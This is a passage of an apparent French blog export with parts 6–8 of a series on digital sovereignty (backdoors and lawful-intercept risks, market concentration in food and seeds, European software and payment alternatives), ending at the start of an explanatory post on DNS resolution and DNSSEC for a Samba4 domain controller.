d\u0026rsquo;être négocié.\nDemandez où est enregistrée la société mère de votre fournisseur. Cette réponse décide plus que l\u0026rsquo;adresse du centre de données.\nVérifiez qu\u0026rsquo;un produit convient à votre cadre juridique avant d\u0026rsquo;acheter. Le consentement, les règles d\u0026rsquo;emploi et la tenue des dossiers sont les endroits habituels où un réglage par défaut importé ne colle pas à la loi locale.\nRien là-dedans ne demande une opinion sur un quelconque gouvernement. C\u0026rsquo;est de la diligence fournisseur ordinaire, appliquée à une question que la plupart des listes d\u0026rsquo;achats oublient encore.\nLa partie 6 regarde la sécurité, et le standard appliqué quand un fournisseur est écarté pour raisons de sécurité nationale.\nPremière publication : 2026-08-25. Dernière mise à jour : 2026-08-25.\n","permalink":"https://blogs.damiendye.uk/fr/random/how-far-the-law-reaches/","summary":"La partie 2 traitait de la loi qui atteint vos données. La partie 5 sur 8 traite de la loi qui atteint votre entreprise : de lourdes pénalités sous la loi américaine, un rapport parlementaire français demandant si cela marche comme arme commerciale, une pression commerciale appliquée au droit fiscal et aux régulateurs, et des produits qui emportent partout les hypothèses d\u0026rsquo;un seul marché.","title":"Jusqu'où va la loi d'un seul pays"},{"content":"Partie 6 sur 8. La partie 5 regardait jusqu\u0026rsquo;où va la loi d\u0026rsquo;un seul pays.\nCe que couvre ce billet La raison donnée pour écarter certains fournisseurs. Ce qui est établi au sujet des produits affaiblis. Ce qui s\u0026rsquo;est passé en 2024. Pourquoi cela retombe aussi sur l\u0026rsquo;Europe. Ce que vous pouvez y faire. La raison donnée pour écarter certains fournisseurs Plusieurs gouvernements ont écarté des fournisseurs chinois des réseaux téléphoniques et internet, et restreint certaines applis chinoises sur les appareils officiels.\nLa raison donnée est en général la même : une entreprise peut être contrainte d\u0026rsquo;aider son propre gouvernement. Le matériel porte donc un risque, quoi que fasse le code.\nCe raisonnement est solide. C\u0026rsquo;est aussi le même raisonnement qu\u0026rsquo;en partie 2 sur la loi qui s\u0026rsquo;applique à vos données.\nSoyons clairs sur une chose avant d\u0026rsquo;aller plus loin.\nLes opérations cyber de l\u0026rsquo;État chinois sont réelles. Les agences de sécurité nationale européennes les documentent tout autant que les américaines, et elles comprennent du vol à grande échelle d\u0026rsquo;information commerciale. Rien dans ce billet n\u0026rsquo;est une défense de cela.\nMais si le principe est qu\u0026rsquo;un fournisseur peut être contraint d\u0026rsquo;aider son propre gouvernement, alors il s\u0026rsquo;applique à tout fournisseur qui a un gouvernement.\nAppliquez-le de façon égale, et le dossier côté européen et américain n\u0026rsquo;est pas vide. Par endroits, il est mieux établi que les accusations, parce que des parlements l\u0026rsquo;ont examiné.\nCe qui est établi au sujet des produits affaiblis Trois éléments, chacun avec une source, dans l\u0026rsquo;ordre de leur solidité.\nUn service de renseignement a possédé une société de chiffrement.\nCrypto AG était une société suisse qui a vendu des machines à chiffrer à plus de 120 gouvernements à partir des années 1950.\nElle était possédée par la CIA américaine et le BND allemand. Les machines étaient modifiées pour que ces services puissent lire les messages des gouvernements qui les achetaient.\nCela repose sur plus que du journalisme. Après la sortie de l\u0026rsquo;affaire, l\u0026rsquo;organe suisse de contrôle du renseignement a mené sa propre enquête et publié un rapport en novembre 2020.\nLe radiodiffuseur public suisse SWI a couvert les constats, y compris le fait que le renseignement suisse le savait depuis 1993.\nParmi les clients figuraient des gouvernements européens. Cela a duré environ 50 ans.\nUn standard cryptographique a été retiré.\nUn générateur de nombres aléatoires appelé Dual_EC_DRBG a été publié comme standard américain — les nombres aléatoires sont ce dont le chiffrement se sert pour rendre les clés imprévisibles.\nDes chercheurs ont montré que sa conception permettait à qui avait choisi certaines valeurs à l\u0026rsquo;intérieur de prédire sa sortie.\nL\u0026rsquo;organisme de normalisation a déconseillé son usage en 2013 et l\u0026rsquo;a retiré en 2014. The Register a rapporté les arrangements commerciaux liés à l\u0026rsquo;époque.\nDu matériel a été intercepté en transit.\nEn décembre 2013, le magazine allemand Der Spiegel a publié un catalogue d\u0026rsquo;outils d\u0026rsquo;interception couvrant routeurs, pare-feu, serveurs et micrologiciels de stockage de fabricants bien connus.\nLe reportage décrivait aussi du matériel détourné en transit, modifié, remballé et renvoyé au client.\nCe dernier point mérite un instant de la part de quiconque achète du matériel.\nIl veut dire que la frontière de confiance n\u0026rsquo;est pas seulement votre fournisseur — c\u0026rsquo;est votre fournisseur et tout ce qui manipule la livraison.\nUn fournisseur honnête ne peut pas vous donner d\u0026rsquo;assurance sur la seconde partie.\nCe qui s\u0026rsquo;est passé en 2024 C\u0026rsquo;est l\u0026rsquo;événement qui répond à la question d\u0026rsquo;ingénierie, et c\u0026rsquo;est la chose la plus utile de ce billet.\nEn 1994, les États-Unis ont voté une loi obligeant les compagnies de téléphone à bâtir leurs réseaux de sorte que les communications puissent être interceptées sur demande légale.\nL\u0026rsquo;entrée était donc permanente, intégrée, et encadrée par une procédure légale.\nEn 2024, on a découvert qu\u0026rsquo;un groupe lié à l\u0026rsquo;État chinois, nommé publiquement Salt Typhoon, s\u0026rsquo;était introduit dans au moins 9 grandes compagnies de téléphone américaines.\nParmi les systèmes atteints figuraient les systèmes d\u0026rsquo;interception eux-mêmes. The Register a rapporté la réaction des législateurs.\nL\u0026rsquo;entrée qu\u0026rsquo;un gouvernement a exigé de bâtir est devenue l\u0026rsquo;entrée par laquelle un autre gouvernement est entré.\nCe n\u0026rsquo;est pas de la malchance. Cela découle de la façon dont une telle chose fonctionne.\nUne entrée intégrée est une capacité, pas une règle. La loi qui l\u0026rsquo;encadre ne lie que les gens qui acceptent cette loi. Quelqu\u0026rsquo;un qui s\u0026rsquo;est introduit par effraction ne l\u0026rsquo;accepte pas.\nTout argument en faveur d\u0026rsquo;un accès légal intégré suppose que l\u0026rsquo;accès peut être gardé à l\u0026rsquo;utilisateur prévu. C\u0026rsquo;est la preuve la plus nette qui soit que l\u0026rsquo;hypothèse ne tient pas.\nPourquoi cela retombe aussi sur l\u0026rsquo;Europe Si ce raisonnement est juste, il est juste partout, et il retombe donc aussi sur les propositions européennes.\nLes propositions de scanner les messages sur l\u0026rsquo;appareil avant leur chiffrement créent le même genre d\u0026rsquo;entrée intégrée.\nLe Royaume-Uni a un pouvoir d\u0026rsquo;exiger des entreprises qu\u0026rsquo;elles fournissent des capacités techniques. Il a servi à exiger des changements à une fonction de chiffrement, et le fournisseur a retiré cette fonction au Royaume-Uni plutôt que de la changer.\nLes deux sont poursuivis par des démocraties, avec contrôle, pour des raisons sérieuses comme la protection des enfants.\nLes deux bâtissent aussi exactement le genre de capacité que 2024 a montré ne pas pouvoir être gardée de façon fiable à son utilisateur prévu.\nUne entrée européenne n\u0026rsquo;est pas plus sûre qu\u0026rsquo;une autre, parce qu\u0026rsquo;un intrus se moque du degré de responsabilité de l\u0026rsquo;institution. Ce qui lui importe, c\u0026rsquo;est de savoir si la chose existe.\nC\u0026rsquo;est pourquoi la version utile de cet argument est technique, pas politique.\n« Ne faites pas confiance aux fournisseurs du pays X » doit être rouvert chaque fois que la politique change.\n« Supposez que toute entrée intégrée finira par être employée par quelqu\u0026rsquo;un pour qui elle n\u0026rsquo;a pas été bâtie » tient quoi qu\u0026rsquo;il arrive.\nCe que vous pouvez y faire La réponse pratique ne porte pas surtout sur qui vous achetez. Elle porte sur une conception qui rende la question moins importante.\nTraitez le réseau comme non fiable. Chiffrez le trafic de bout en bout, et ne laissez pas un système faire confiance à un autre juste à cause de sa place sur le réseau.\nGardez vos propres clés de chiffrement là où vous le pouvez. La partie 2 expliquait pourquoi cela change à qui on peut demander vos données. Cela limite aussi ce qu\u0026rsquo;un intrus trouve digne d\u0026rsquo;être pris.\nEnvoyez moins. Des données que vous n\u0026rsquo;avez jamais recueillies ne peuvent être ni interceptées, ni demandées, ni perdues. Le contrôle le moins à la mode de la liste, et souvent le plus efficace.\nVérifiez ce que fait tourner votre matériel avant de lui faire confiance. Le démarrage vérifié et le contrôle du micrologiciel valent d\u0026rsquo;être activés là où votre matériel le permet.\nSur les systèmes vraiment sensibles, vérifiez les livraisons. Un emballage à effraction visible et des numéros de série enregistrés sont assez simples.\nRien de tout cela n\u0026rsquo;exige que vous décidiez de quel gouvernement vous inquiéter le plus.\nC\u0026rsquo;est justement pourquoi c\u0026rsquo;est la meilleure réponse. Un contrôle qui ne marche que si votre pari sur la politique est juste n\u0026rsquo;est pas vraiment un contrôle.\nLa partie 7 sort de la technologie, et regarde comment d\u0026rsquo;autres secteurs ont traité le même problème.\nPremière publication : 2026-08-25. Dernière mise à jour : 2026-08-25.\n","permalink":"https://blogs.damiendye.uk/fr/random/backdoors-and-who-is-accused/","summary":"Écarter un fournisseur pour raisons de sécurité demande un standard, appliqué de façon égale. La partie 6 sur 8 expose ce qui est établi au sujet des produits affaiblis et de l\u0026rsquo;interception, y compris une enquête parlementaire suisse, et montre pourquoi une entrée intégrée appartient à quiconque l\u0026rsquo;atteint.","title":"Les portes dérobées, et qui on en accuse"},{"content":"Partie 7 sur 8. La partie 6 regardait la sécurité et les entrées intégrées.\nCe que couvre ce billet Pourquoi la comparaison est utile. Les semences, et les clauses de licence sur le vivant. Les supermarchés, et les règles bâties pour eux. Pourquoi la technologie n\u0026rsquo;a rien de tel. Ce que cela vous dit. Pourquoi la comparaison est utile Une opinion courante veut que la technologie soit un nouveau genre de pouvoir et demande un nouveau genre de pensée.\nC\u0026rsquo;est une opinion réconfortante, et elle est surtout fausse. Y croire est une des raisons pour lesquelles la réponse a tant tardé.\nLe problème de cette série est ancien. Un fournisseur devient essentiel. Les alternatives du client disparaissent. Les conditions cessent d\u0026rsquo;être convenues et se mettent à être annoncées.\nCela s\u0026rsquo;est produit dans des secteurs où il n\u0026rsquo;y a aucun logiciel du tout.\nLa comparaison aide de 2 façons.\nElle montre ce qui tend à venir ensuite, parce que ces secteurs sont plus avancés sur la route.\nEt elle montre à quoi ressemble une réponse sérieuse, parce que certaines de ces réponses existent déjà et fonctionnent.\nLes semences, et les clauses de licence sur le vivant Un agriculteur qui achète des semences est à peu près dans la même situation qu\u0026rsquo;une organisation qui achète un logiciel central.\nQuatre entreprises, Bayer, Corteva, Syngenta et BASF, détiennent l\u0026rsquo;essentiel du marché mondial des semences et une part semblable des pesticides. L\u0026rsquo;organisation suisse Public Eye en publie une analyse.\nPour certaines cultures prises une à une, c\u0026rsquo;est encore plus serré, et une poignée d\u0026rsquo;entreprises détient l\u0026rsquo;essentiel des brevets concernés.\nLes licences vous paraîtront familières si vous avez déjà lu un contrat de logiciel.\nUne semence brevetée n\u0026rsquo;est pas simplement vendue. Elle est concédée sous licence, et les conditions peuvent empêcher la plus vieille pratique de l\u0026rsquo;agriculture : garder une part de la récolte de cette année pour semer l\u0026rsquo;année prochaine.\nL\u0026rsquo;agriculteur achète donc l\u0026rsquo;usage de la semence pour 1 saison. Le droit de la reproduire, qui est tout l\u0026rsquo;intérêt d\u0026rsquo;une semence, reste chez le fournisseur.\nC\u0026rsquo;est un achat permanent transformé en achat récurrent. C\u0026rsquo;est arrivé à l\u0026rsquo;agriculture avant d\u0026rsquo;arriver au logiciel.\nIl y a un second détail familier.\nLa semence est souvent conçue pour marcher avec un pesticide donné, et la même entreprise vend les deux. Acheter l\u0026rsquo;un rend l\u0026rsquo;achat de l\u0026rsquo;autre plus facile que de changer.\nLes économistes agricoles ont suivi les résultats : moins de variétés en circulation, des coûts d\u0026rsquo;intrants plus élevés, et moins de capacité à changer de fournisseur.\nLes supermarchés, et les règles bâties pour eux L\u0026rsquo;autre moitié de l\u0026rsquo;alimentation montre le même problème vu du côté de l\u0026rsquo;acheteur. C\u0026rsquo;est l\u0026rsquo;exemple qui vaut d\u0026rsquo;être copié.\nUn petit nombre de distributeurs traite l\u0026rsquo;essentiel des ventes d\u0026rsquo;épicerie au Royaume-Uni.\nUn fournisseur fait donc face à très peu de clients possibles. En perdre un peut finir l\u0026rsquo;entreprise. Pour le distributeur, remplacer un fournisseur est l\u0026rsquo;affaire d\u0026rsquo;une matinée.\nCe déséquilibre a été assez bien documenté pour que le Parlement agisse. Le Groceries Code Adjudicator a été créé en 2013. Il contrôle si les grands distributeurs suivent le Groceries Supply Code of Practice.\nRegardez ce que ce code restreint, puis pensez à votre dernier renouvellement de logiciel.\nChanger les conditions convenues après coup, sans accord. Facturer à un fournisseur le droit de continuer à faire affaire. Reporter des coûts et des risques sur le fournisseur sans compensation. Se servir du retrait de la vente comme d\u0026rsquo;un levier dans un litige. L\u0026rsquo;Union européenne a bâti sa propre version. La directive 2019/633 sur les pratiques commerciales déloyales couvre la chaîne d\u0026rsquo;approvisionnement agricole et alimentaire.\nElle interdit le paiement tardif, l\u0026rsquo;annulation de commandes à bref préavis, le changement unilatéral des conditions et la menace de représailles commerciales. Chaque État membre a une autorité pour l\u0026rsquo;appliquer.\nAucun des deux régimes n\u0026rsquo;est parfait. Les pouvoirs de l\u0026rsquo;Adjudicator sont limités, il ne couvre pas les prix eux-mêmes, et il a usé de ses pouvoirs les plus forts avec parcimonie.\nMais le principe qu\u0026rsquo;ils portent est celui qui manque à la technologie.\nLà où le pouvoir de négociation est très inégal, la liberté contractuelle n\u0026rsquo;existe pas vraiment. Certaines pratiques sont donc interdites d\u0026rsquo;emblée, plutôt que laissées à la négociation.\nPersonne n\u0026rsquo;a proposé qu\u0026rsquo;on empêche un fournisseur de logiciel de changer les conditions convenues après coup.\nPersonne ne traite une facturation pour sortir vos propres données comme un report de coût sur la partie la plus faible.\nDans l\u0026rsquo;alimentation, les deux seraient repérés tout de suite. Dans le logiciel, on appelle ça un modèle de licence.\nPourquoi la technologie n\u0026rsquo;a rien de tel Quatre raisons, et elles valent d\u0026rsquo;être comprises parce qu\u0026rsquo;elles pointent ce qu\u0026rsquo;il faudrait changer.\nLa vitesse. La concentration de l\u0026rsquo;épicerie a pris environ 100 ans. La concentration du cloud en a pris environ 15. Le temps de la voir clairement, elle était déjà là.\nLes services gratuits. Le droit de la concurrence, dans la plupart des pays, a grandi autour des prix payés par les consommateurs. Un service au prix de zéro paraît inoffensif sous ce test, même quand le client n\u0026rsquo;est pas l\u0026rsquo;utilisateur.\nLa prétention à la nouveauté. Le secteur a soutenu, avec succès, que son économie était différente, et qu\u0026rsquo;être difficile à quitter n\u0026rsquo;était qu\u0026rsquo;une propriété des systèmes complexes plutôt qu\u0026rsquo;un choix de conception.\nL\u0026rsquo;organisation. Les agriculteurs ont des syndicats, des coopératives et une longue habitude de négocier ensemble. Ils s\u0026rsquo;en sont servis pour gagner des protections juridiques précises.\nLes acheteurs de technologie ont des groupes d\u0026rsquo;utilisateurs et une conférence. Quand les clients de VMware ont subi de fortes hausses, la vraie résistance est venue d\u0026rsquo;un organisme professionnel de fournisseurs de cloud, et elle est passée par le droit de la concurrence. La partie 2 a traité du temps que cela prend.\nCe que cela vous dit Deux conclusions, et les deux valent d\u0026rsquo;être retenues.\nLe problème est structurel, pas national.\nBayer est allemande. Les plus gros supermarchés sont britanniques, français et allemands. Le modèle de rachat de la partie 3 est employé avec ardeur dans toute l\u0026rsquo;Europe.\nRemplacez demain chaque fournisseur américain de cette série par 4 fournisseurs européens et le comportement revient, parce qu\u0026rsquo;il découle de la structure.\nÀ ce titre, le conseil ici porte sur la capacité à changer de fournisseur, plutôt que sur le choix d\u0026rsquo;un pays.\nUne réponse qui marche existe déjà.\nNous n\u0026rsquo;avons pas besoin d\u0026rsquo;inventer une nouvelle théorie de la régulation des plateformes.\nIl existe un modèle où certaines pratiques sont interdites parce que le pouvoir de négociation est inégal, où un adjudicateur entend les plaintes, et où la partie la plus faible ne porte pas toute la charge de la preuve.\nIl a été bâti pour des choux. Il marcherait sur des contrats de cloud.\nLa partie 8 regarde ce qui se bâtit en Europe aujourd\u0026rsquo;hui, et comment vérifier où vous en êtes.\nPremière publication : 2026-08-25. Dernière mise à jour : 2026-08-25.\n","permalink":"https://blogs.damiendye.uk/fr/random/the-same-pattern-elsewhere/","summary":"Rien de tout cela n\u0026rsquo;est neuf, et cela ne parle pas vraiment de technologie. Quatre entreprises contrôlent l\u0026rsquo;essentiel de l\u0026rsquo;offre mondiale de semences. Dix distributeurs écoulent l\u0026rsquo;essentiel de l\u0026rsquo;alimentation britannique. Les deux ont produit une réponse juridique dont le logiciel n\u0026rsquo;a rien. La partie 7 sur 8 les compare, et demande pourquoi la technologie s\u0026rsquo;en est tirée.","title":"Le même schéma dans d'autres secteurs"},{"content":"Partie 8 sur 8. La partie 7 comparait le schéma à d\u0026rsquo;autres secteurs.\nCe que couvre ce billet Ce que l\u0026rsquo;Europe a réellement bâti. Ce qui est réaliste aujourd\u0026rsquo;hui, et ce qui ne l\u0026rsquo;est pas. 3 questions pour savoir où vous en êtes. Un mot honnête sur ce site. La tendance s\u0026rsquo;est retournée Pendant bien des années, l\u0026rsquo;indépendance numérique européenne était surtout une conversation.\nDepuis 2025, cela a changé. Il y a des produits qui marchent maintenant, et des structures qui s\u0026rsquo;en servent chaque jour.\nC\u0026rsquo;est la tendance la plus utile de toute la série, parce que c\u0026rsquo;est celle sur laquelle vous pouvez agir.\nLogiciels de bureautique et de collaboration openDesk est un ensemble d\u0026rsquo;outils libres pour le travail de bureau quotidien. Documents, courriel, agendas, fichiers, messagerie et réunions vidéo.\nIl est entretenu par ZenDiS, le centre allemand pour la souveraineté numérique.\nIl est bâti à partir d\u0026rsquo;outils qui existaient déjà : Nextcloud pour les fichiers, Collabora pour les documents, Open-Xchange pour le courriel et les agendas, Element pour la messagerie, Jitsi pour la vidéo.\nIl est en usage réel. L\u0026rsquo;armée allemande a signé un accord pluriannuel. L\u0026rsquo;Institut Robert Koch, un organisme allemand de santé publique, le fait tourner pour plusieurs milliers de personnes. La Cour pénale internationale l\u0026rsquo;a choisi en 2025.\nIl y a aussi des options commerciales maintenant.\noffice.eu a été lancé à La Haye en mars 2026. C\u0026rsquo;est une alternative hébergée, à capitaux européens, aux grandes suites bureautiques américaines.\nEuro-Office a suivi en juin 2026. C\u0026rsquo;est un éditeur de documents partagé bâti conjointement par plusieurs entreprises européennes, dont IONOS, Nextcloud, XWiki, OpenProject, Open-Xchange et office.eu.\nTravailler ensemble comme ça compte. Cela veut dire que chaque entreprise ne rebâtit pas le même éditeur toute seule.\nDes gouvernements qui bougent vraiment Certains gouvernements ont déjà bougé, ce qui donne au reste d\u0026rsquo;entre nous une vraie expérience dont apprendre.\nLe ministère danois de la Numérisation est passé de Microsoft 365 à LibreOffice à partir de juillet 2025. LibreOffice est une suite bureautique gratuite.\nLe Land allemand du Schleswig-Holstein fait passer des dizaines de milliers d\u0026rsquo;ordinateurs d\u0026rsquo;agents vers le libre.\nLa France et l\u0026rsquo;Allemagne bâtissent aussi des outils partagés ensemble, plutôt que de payer chacune les siens.\nIl est seulement juste de dire que ça ne va pas toujours de soi.\nMunich a fait passer son conseil municipal à Linux sur plusieurs années, puis est revenue à Windows en 2017. The Register a rapporté le coût à l\u0026rsquo;époque.\nLa grande leçon de Munich n\u0026rsquo;était pas technique. Le logiciel marchait pour l\u0026rsquo;essentiel. Ce qui n\u0026rsquo;a pas duré, c\u0026rsquo;est le soutien politique, à travers les changements d\u0026rsquo;administration, sur un projet courant sur plus d\u0026rsquo;une décennie.\nCes choses ont donc besoin d\u0026rsquo;un soutien constant sur bien des années. C\u0026rsquo;est une exigence réelle, et il vaut de la planifier honnêtement.\nLes paiements Les paiements suivent la même tendance, et bien des gens ne réalisent pas à quel point ils sont concentrés.\nL\u0026rsquo;analyse des chiffres de la Banque centrale européenne suggère que Visa et Mastercard ont traité environ 47 % de la valeur des paiements par carte dans la zone euro en 2025. Dans plusieurs pays, la part est bien plus élevée.\nPlusieurs pays européens ont bien leurs propres systèmes de carte. L\u0026rsquo;ennui, c\u0026rsquo;est qu\u0026rsquo;ils ne marchent pas d\u0026rsquo;un pays à l\u0026rsquo;autre, si bien que celui qui marche partout est l\u0026rsquo;américain.\nWero est la réponse européenne. Il est géré par l\u0026rsquo;European Payments Initiative.\nIl a commencé par les paiements entre personnes en Belgique, en France et en Allemagne. Il a maintenant des dizaines de millions d\u0026rsquo;utilisateurs inscrits. Le Luxembourg l\u0026rsquo;a rejoint en 2026, et les Pays-Bas y font passer leur système iDEAL existant. L\u0026rsquo;European Payments Council en publie l\u0026rsquo;avancement.\nPayer en magasin et en ligne est l\u0026rsquo;étape suivante. C\u0026rsquo;est l\u0026rsquo;étape qui décide si Wero devient une vraie alternative.\nL\u0026rsquo;euro numérique se tient derrière, sur un calendrier plus long autour de 2029.\nDe nouvelles règles La Commission européenne a publié sa proposition de Cloud and AI Development Act le 2026-06-03.\nC\u0026rsquo;est le premier essai sérieux de transformer la souveraineté du cloud d\u0026rsquo;un label volontaire en une exigence légale.\nIl classe les fournisseurs de cloud par paliers, selon l\u0026rsquo;endroit où se trouve l\u0026rsquo;infrastructure, l\u0026rsquo;indépendance avec laquelle elle peut être exploitée, et à qui elle appartient. Les acheteurs du secteur public devraient exiger des fournisseurs qu\u0026rsquo;ils atteignent au moins le palier le plus bas.\nC\u0026rsquo;est une proposition. Ce n\u0026rsquo;est pas encore une loi, et elle peut changer en cours de route.\nCe qui est réaliste, et ce qui ne l\u0026rsquo;est pas Une liste pleine d\u0026rsquo;espoir peut vite déraper ici, alors soyons clairs.\nRéaliste aujourd\u0026rsquo;hui. Documents de bureau, courriel, agendas, fichiers, messagerie et vidéo. Des options européennes et libres qui marchent existent, et des structures les font tourner en production dès maintenant.\nEn chemin. Les paiements, et certains services cloud. Les pièces existent. La couverture se remplit encore.\nPas encore. L\u0026rsquo;infrastructure cloud à grande échelle. La capacité européenne est loin derrière la demande.\nCe qui peut être remplacé par une option européenne ou libre aujourd'hui À quel point chaque couche est remplaçable aujourd'hui Bureautique Documents, courriel, agendas, fichiers, messagerie, vidéo Remplaçable maintenant Paiements Wero grandit ; magasins et en ligne, l'étape suivante En partie prêt Infrastructure cloud La capacité européenne est bien plus petite que la demande Pas encore Puces informatiques De vraies forces européennes, mais pas de plein substitut aujourd'hui Pas cette décennie Plus vous regardez haut dans la pile, plus vous avez de choix aujourd\u0026rsquo;hui. Pas cette décennie. Les puces elles-mêmes. L\u0026rsquo;Europe a de vraies forces, dont ASML aux Pays-Bas et Infineon et NXP dans la conception de puces. Rien de tout cela ne remplace aujourd\u0026rsquo;hui un processeur graphique de centre de données.\nLa Bertelsmann Stiftung, une fondation allemande, a estimé que bâtir une pile européenne complète prendrait environ 10 ans et à peu près 300 milliards d\u0026rsquo;euros.\nL\u0026rsquo;indépendance complète n\u0026rsquo;est donc pas sur la table, et quiconque la propose survend ce qu\u0026rsquo;il a.\nÀ ce titre, l\u0026rsquo;indépendance complète n\u0026rsquo;a jamais été le but utile.\n3 questions pour savoir où vous en êtes Voici une façon simple de regarder vos propres systèmes. Elle marche pour tout fournisseur, dans tout pays.\nPosez ces 3 questions sur chaque service dont vous dépendez.\n1. Qu\u0026rsquo;est-ce qui cesse de marcher si ce service s\u0026rsquo;arrête ?\nSoyez précis. Nommez les systèmes et les gens touchés. « C\u0026rsquo;est important » n\u0026rsquo;est pas quelque chose avec quoi planifier.\n2. Combien de semaines de travail faudrait-il pour déménager ?\nCe nombre fixe votre position à chaque renouvellement, tant que vous gardez le fournisseur.\nSi vous ne pouvez pas l\u0026rsquo;estimer, c\u0026rsquo;est déjà bon à savoir.\n3. Votre organisation pourrait-elle réellement faire tourner l\u0026rsquo;alternative ?\nNon pas s\u0026rsquo;il existe une alternative. Si votre équipe, à la taille qu\u0026rsquo;elle a vraiment, pourrait la faire tourner.\nLibreOffice est une vraie réponse pour un ministère avec un budget de formation. C\u0026rsquo;est une réponse plus dure pour une petite entreprise sans personnel informatique.\nClassez vos services sur ces 3 réponses. La liste est en général courte, et souvent pas celle qu\u0026rsquo;on attend.\nPour bien des structures, le courriel et les comptes du personnel ressortent au-dessus de l\u0026rsquo;informatique en nuage. Les déménager est rarement testé, et prendrait un bon moment.\nPosez ensuite les mêmes 3 questions sur toute alternative européenne que vous pesez.\nUn fournisseur européen unique que vous ne pouvez pas quitter ne vaut guère mieux qu\u0026rsquo;un fournisseur américain unique que vous ne pouvez pas quitter.\nLe vrai avantage des formats ouverts et du libre n\u0026rsquo;est pas le prix. C\u0026rsquo;est qu\u0026rsquo;ils rendent la question 2 chiffrable, et la question 3 possible.\nUn mot honnête sur ce site Il ne serait pas juste d\u0026rsquo;écrire tout cela sans le retourner contre moi.\nCe site est bâti avec Hugo et servi par Cloudflare, une entreprise américaine. Chaque point de cette série s\u0026rsquo;y applique.\nJ\u0026rsquo;ai choisi Cloudflare parce que ça marche bien et ne me coûte rien. Si le compte s\u0026rsquo;arrêtait demain, je changerais quelques réglages DNS et je publierais ailleurs.\nL\u0026rsquo;exposition est donc réelle et la conséquence est petite. C\u0026rsquo;est un échange équitable, et je l\u0026rsquo;ai fait exprès.\nLe reste de mon propre matériel est mélangé aussi. Proxmox, dont je parle souvent, est autrichien. Il tourne sur des processeurs conçus aux États-Unis, sur un micrologiciel que je ne peux pas inspecter.\nIl n\u0026rsquo;y a aucune installation qui arrive à zéro. Ça n\u0026rsquo;a jamais été le but.\nLa version courte La technologie est passée de quelque chose qu\u0026rsquo;on achetait à quelque chose qu\u0026rsquo;on loue.\nLouer est souvent mieux, ce qui est exactement pourquoi c\u0026rsquo;est arrivé.\nChaque coût de la location grandit à mesure qu\u0026rsquo;il vous est plus dur de partir.\nDepuis 2025, de vraies alternatives ont atterri pour le travail de bureau quotidien, et atterrissent pour les paiements.\nLe but pratique n\u0026rsquo;est donc pas d\u0026rsquo;esquiver tel ou tel pays. C\u0026rsquo;est de réduire le nombre de services que vous ne pourriez pas quitter en moins de 3 mois.\nCommencez par ceux que vous n\u0026rsquo;avez jamais testés. C\u0026rsquo;est en général là que la surprise attend.\nPremière publication : 2026-08-25. Dernière mise à jour : 2026-08-25.\n","permalink":"https://blogs.damiendye.uk/fr/random/choice-coming-back/","summary":"Depuis 2025, la réponse européenne est passée des plans à des choses que vous pouvez installer. La partie 8 sur 8 couvre ce qui a atterri, ce qui reste honnêtement à des années, et donne 3 questions pour savoir où vous en êtes.","title":"Là où vos choix reviennent"},{"content":"Chaque machine d\u0026rsquo;un domaine Active Directory trouve son contrôleur de domaine en demandant à DNS. Pas depuis une liste configurée. Elle demande un enregistrement SRV, et elle va là où la réponse l\u0026rsquo;envoie. Ce qui fait d\u0026rsquo;une poignée d\u0026rsquo;enregistrements sous _msdcs la chose la plus critique pour la sécurité de la zone, et soulève deux questions qui méritent une bonne réponse : comment les signez-vous, et qui a le droit de les écrire. Ni l\u0026rsquo;une ni l\u0026rsquo;autre n\u0026rsquo;est souvent posée, et les deux reçoivent par défaut une mauvaise réponse.\nCe billet répond aux deux pour un contrôleur de domaine Samba4. BIND avec dlz_bind9 qui sert l\u0026rsquo;annuaire, signature en ligne, un primaire caché qu\u0026rsquo;aucun client n\u0026rsquo;atteint jamais, une délégation à l\u0026rsquo;intérieur d\u0026rsquo;une zone publique pour que la chaîne de confiance remonte jusqu\u0026rsquo;à la racine, et les mises à jour dynamiques des clients tenues bien à l\u0026rsquo;écart des locators.\nMais signer ne vaut quelque chose que si vous savez ce que ça protège, et ça veut dire commencer un cran plus bas — à la façon dont un nom est résolu, tout court. Le premier tiers de ce billet est donc la descente depuis la racine. Si vous maîtrisez déjà ça parfaitement, sautez aux deux backends DNS de Samba.\nUn résolveur naît en ne sachant presque rien Il vaut la peine d\u0026rsquo;être clair sur le peu de choses avec lequel un résolveur naît, parce que tout le reste de ce billet en découle.\nUn résolveur récursif fraîchement installé sait deux choses. Il connaît les adresses des serveurs racine — un fichier d\u0026rsquo;amorçage, treize noms de a.root-servers.net à m.root-servers.net, servis en anycast depuis bien plus d\u0026rsquo;instances que treize. Et, s\u0026rsquo;il valide, il connaît une clé publique : celle de la racine.\nC\u0026rsquo;est toute la configuration intégrée. Chaque autre fait qu\u0026rsquo;il servira un jour — quels serveurs font autorité pour uk, où vit votre domaine, quelle adresse a votre serveur de messagerie — est appris à l\u0026rsquo;exécution en demandant, puis mis en cache jusqu\u0026rsquo;à l\u0026rsquo;expiration de son TTL.\nC\u0026rsquo;est une bonne conception. Personne n\u0026rsquo;a à livrer une liste des serveurs de noms de l\u0026rsquo;internet, et aucune partie centrale n\u0026rsquo;a à approuver un changement dans votre zone. Mais elle a une conséquence qui est le sujet du reste de ce billet : un résolveur croit ce qu\u0026rsquo;on lui dit, par le serveur que la réponse précédente lui a désigné. Retirez les signatures et toute la structure est une chaîne d\u0026rsquo;assertions, chacune authentifiée seulement par le fait qu\u0026rsquo;elle est arrivée de l\u0026rsquo;adresse que la dernière réponse a nommée. C\u0026rsquo;est beaucoup de poids à faire porter à une adresse de retour.\nLa descente de l\u0026rsquo;arbre Une recherche n\u0026rsquo;est pas une seule question. C\u0026rsquo;est une série de renvois vers le bas de l\u0026rsquo;arbre des noms, et chaque étape est une requête distincte à un serveur différent.\nDisons qu\u0026rsquo;un client veut dc01.ad.example.co.uk. Un résolveur au cache froid fait ceci :\nDemander à un serveur racine. La racine ne connaît pas la réponse et ne fait pas semblant. Elle renvoie un renvoi : une section de réponse vide, et dans la section d\u0026rsquo;autorité les enregistrements NS pour uk, avec les adresses de ces serveurs de noms en glue dans la section additionnelle. Demander à un serveur uk. Un autre renvoi, cette fois vers les serveurs de noms de example.co.uk. Demander à un serveur example.co.uk. Si ad.example.co.uk est délégué — et dans la conception plus loin dans ce billet il l\u0026rsquo;est — un renvoi de plus. Demander à un serveur ad.example.co.uk. Celui-ci fait autorité pour le nom, donc il répond avec l\u0026rsquo;enregistrement A et pose le bit AA (réponse faisant autorité). Une seule recherche descendue dans l'arbre de délégation, un renvoi à la fois Résolveur récursif Né en ne connaissant que : \u0026#183; l'amorçage de la racine \u0026#183; la clé publique de la racine 1 \u0026#160; Serveur racine 